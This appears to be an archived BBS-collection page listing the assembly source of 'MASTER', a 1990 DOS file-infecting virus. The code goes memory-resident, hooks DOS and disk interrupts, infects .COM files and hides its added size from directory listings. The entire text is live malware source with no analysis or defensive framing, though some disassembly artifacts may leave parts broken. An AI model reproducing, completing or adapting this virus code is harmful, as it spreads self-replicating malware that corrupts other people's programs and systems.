home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
mg-1.asm
< prev
next >
Wrap
Assembly Source File
|
1990-08-08
|
6KB
|
305 lines
PAGE 59,132
;==========================================================================
;== ==
;== MASTER ==
;== ==
;== Created: 15-May-90 ==
;== Version: ==
;== Passes: 9 Analysis Options on: ABCHIOP ==
;== ==
;== ==
;==========================================================================
data_1e equ 6 ; (99D7:0006=0)
data_2e equ 4Ch ; (99D7:004C=0)
data_4e equ 90h ; (99D7:0090=0)
data_5e equ 92h ; (99D7:0092=0)
data_14e equ 334h ; (99D7:0334=0)
data_15e equ 3EFh ; (99D7:03EF=0)
data_16e equ 3F5h ; (99D7:03F5=0)
data_17e equ 3F7h ; (99D7:03F7=0)
data_18e equ 3F9h ; (99D7:03F9=0)
data_19e equ 3FCh ; (99D7:03FC=0)
data_20e equ 3FEh ; (99D7:03FE=0)
data_21e equ 7B0h ; (99D7:07B0=0)
data_22e equ 7B4h ; (99D7:07B4=0)
data_23e equ 7B6h ; (99D7:07B6=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
master proc far
start:
call self ; (0103)
master endp
;==========================================================================
; SUBROUTINE
;==========================================================================
self proc near
push ax
mov ax,word ptr ds:[101h] ; (99D7:0101=0)
add ax,103h
xchg ax,si
mov ax,word ptr cs:[1EBh][si] ; (99D7:01EB=1F0Eh)
mov word ptr ds:[100h],ax ; (99D7:0100=0E8h)
mov ah,byte ptr cs:[1EDh][si] ; (99D7:01ED=0B4h)
mov byte ptr ds:[102h],ah ; (99D7:0102=0)
mov ax,4B04h
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jnc in_mem
xor ax,ax
mov es,ax
mov di,201h
mov cx,1F4h
cld
rep movsb
les di,dword ptr ds:data_1e ; (99D7:0006=0)
mov al,0EAh
dec cx
repne scasb
les di,dword ptr es:[di]
sub di,0FFDFh
data_9 db 0EAh
data_10 dw 242h
data_11 dw 0
push ds
push es
pop ds
mov bx,[di-4]
mov al,[bx]
cmp al,68h ; 'h'
mov [di-3],al
mov word ptr [di-5],0FC80h
mov word ptr [di-7],0FCCDh
push cs
pop ds
mov ds:data_19e,di ; (99D7:03FC=0)
mov ds:data_20e,es ; (99D7:03FE=0)
mov byte ptr ds:data_14e,0Ah ; (99D7:0334=0)
jc loc_1
mov byte ptr ds:data_14e,0 ; (99D7:0334=0)
mov word ptr ds:data_22e,3D8h ; (99D7:07B4=0)
mov ds:data_23e,cs ; (99D7:07B6=0)
loc_1:
mov al,0A9h
mov ch,0FFh
srch_lp:
repne scasb
cmp word ptr es:[di],0FFD8h
jne srch_lp
mov al,98h
stosb
pop ds
in_mem:
push ds
pop es
pop ax
pop si
push ds
mov bx,100h
push bx
retf
self endp
cmp ax,4B04h
je mem_chk
cmp ah,11h
je FCB_find
cmp ah,12h
jne spce_chk
FCB_find:
int 0FFh
push ax
push bx
push es
mov ah,2Fh ; '/'
int 0FFh
test byte ptr es:[bx+13h],40h ; '@'
jz not_inf
sub word ptr es:[bx+24h],1F4h
not_inf:
pop es
pop bx
pop ax
mem_chk:
add sp,6
iret
spce_chk:
cmp ah,36h ; '6'
jne exec_chk
test dl,dl
jz infect
exec_chk:
cmp ah,4Bh ; 'K'
je infect
cmp ah,39h ; '9'
je infect
cmp ah,47h ; 'G'
jne exit
push ax
mov ah,19h
int 0FFh
cmp al,2
pop ax
jnc infect
exit:
iret
infect:
push ax
push bx
push cx
push dx
push si
push ds
push es
push cs
pop ds
mov ah,2Fh ; '/'
int 0FFh
push word ptr es:[bx]
push es
push bx
mov ah,4Eh ; 'N'
mov dx,3E6h
mov cx,3
int 0FFh
jc err_xit
find_lp:
test byte ptr es:[bx+15h],40h ; '@'
jz do_inf
mov ah,4Fh ; 'O'
int 0FFh
jnc find_lp
err_xit:
jmp error ; (02B4)
do_inf:
push word ptr es:[bx+16h]
push word ptr es:[bx+18h]
push word ptr es:[bx+15h]
mov word ptr ds:data_4e,3C4h ; (99D7:0090=0)
mov ds:data_5e,cs ; (99D7:0092=0)
push es
les di,dword ptr ds:data_2e ; (99D7:004C=0)
mov ds:data_17e,di ; (99D7:03F7=0)
mov ds:data_18e,es ; (99D7:03F9=0)
hang:
jmp short hang ; (0235)
mov word ptr ds:data_2e,3C7h ; (99D7:004C=0)
mov word ptr ds:data_2e+2,cs ; (99D7:004E=0)
pop es
lea dx,[bx+1Eh]
mov ax,4301h
pop cx
and cx,0FEh
or cl,40h ; '@'
push es
pop ds
int 0FFh
mov ax,3D02h
int 0FFh
xchg ax,si
push cs
pop ds
mov ah,3Fh ; '?'
mov cx,3
mov dx,3ECh
mov bx,si
int 0FFh
mov ax,4202h
xor dx,dx
mov cx,dx
int 0FFh
cmp ax,0FCE0h
jae set_time
sub ax,3
mov ds:data_16e,ax ; (99D7:03F5=0)
mov ah,40h ; '@'
mov cx,1F4h
mov dx,201h
int 0FFh
jc set_time
mov ax,4200h
xor dx,dx
mov cx,dx
int 0FFh
mov ah,40h ; '@'
mov cx,3
mov dx,3F4h
int 0FFh
set_time:
mov ax,5701h
pop dx
pop cx
int 0FFh
mov ah,3Eh ; '>'
mov bx,si
int 0FFh
les di,dword ptr ds:data_17e ; (99D7:03F7=0)
mov ds:data_2e,di ; (99D7:004C=0)
mov word ptr ds:data_2e+2,es ; (99D7:004E=0)
error:
pop bx
pop es
pop word ptr es:[bx]
mov byte ptr es:[bx+2],5Ch ; '\'
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
iret
;==========================================================================
; SUBROUTINE
;==========================================================================
int_24 proc far
mov al,3
iret
int_24 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
int_13 proc far
cmp ah,3
jne not_write
inc byte ptr cs:data_15e ; (99D7:03EF=0)
dec ah
not_write:
jmp dword ptr cs:data_17e ; (99D7:03F7=0)
shr byte ptr cs:data_15e,1 ; (99D7:03EF=0)
jnc dont_conv
inc ah
dont_conv:
jmp dword ptr cs:data_21e ; (99D7:07B0=0)
int_13 endp
f_mask db '*.com', 0
first3 db 0CDh, 20h, 0
old_op db 0
db 93h, 2, 0, 0
call_op db 0E8h
vir_offs dw 0
old_13 dd 00000h
seg_a ends
end start